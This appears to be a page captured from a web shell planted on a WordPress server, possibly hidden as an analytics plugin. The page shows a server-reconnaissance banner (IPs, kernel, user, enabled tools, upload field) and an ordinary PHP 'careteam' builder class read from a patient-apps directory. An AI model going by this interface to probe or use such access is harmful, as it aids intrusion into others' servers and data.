Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/patientapps_www/modules/patientapps/model/ |
Upload File : |
<?php
class careteam {
private $internal;
private $container;
function __construct() {
$this->internal = [];
$this->container = null;
}
public function Container($icon) {
$this->internal[] = [
'type' => 'container',
'icon' => $icon,
'children' => []
];
$c = count($this->internal) - 1;
$this->container = &$this->internal[$c];
return $this;
}
public function Text($type, $text, $extra = NULL) {
if (!is_array($text)) $text = [$text];
foreach($text as $text_item) {
$node = [
'type' => $type,
'text' => $text_item,
'extra' => $extra,
];
if ($this->container === NULL) {
$source = &$this->internal;
} else {
$source = &$this->container['children'];
}
$source[] = $node;
}
$this->last_text = count($text);
return $this;
}
public function Icon($value) {
if ($this->container === NULL) {
$source = &$this->internal;
} else {
$source = &$this->container['children'];
}
$count = isset($this->last_text) ? $this->last_text : 1;
unset($this->last_text);
for($i = 1; $i <= $count; $i++) {
$source[count($source) - $i]['icon'] = $value;
}
return $this;
}
public function Target($value) {
if ($this->container === NULL) {
$source = &$this->internal;
} else {
$source = &$this->container['children'];
}
$source[count($source) - 1]['target'] = $value;
return $this;
}
public function Address() {
$node = [
'type' => 'address',
'text' => func_get_args(),
];
if ($this->container === NULL) {
$source = &$this->internal;
} else {
$source = &$this->container['children'];
}
$source[] = $node;
return $this;
}
public function Root() {
unset($this->container);
$this->container = null;
return $this;
}
public function AsArray() {
return $this->internal;
}
}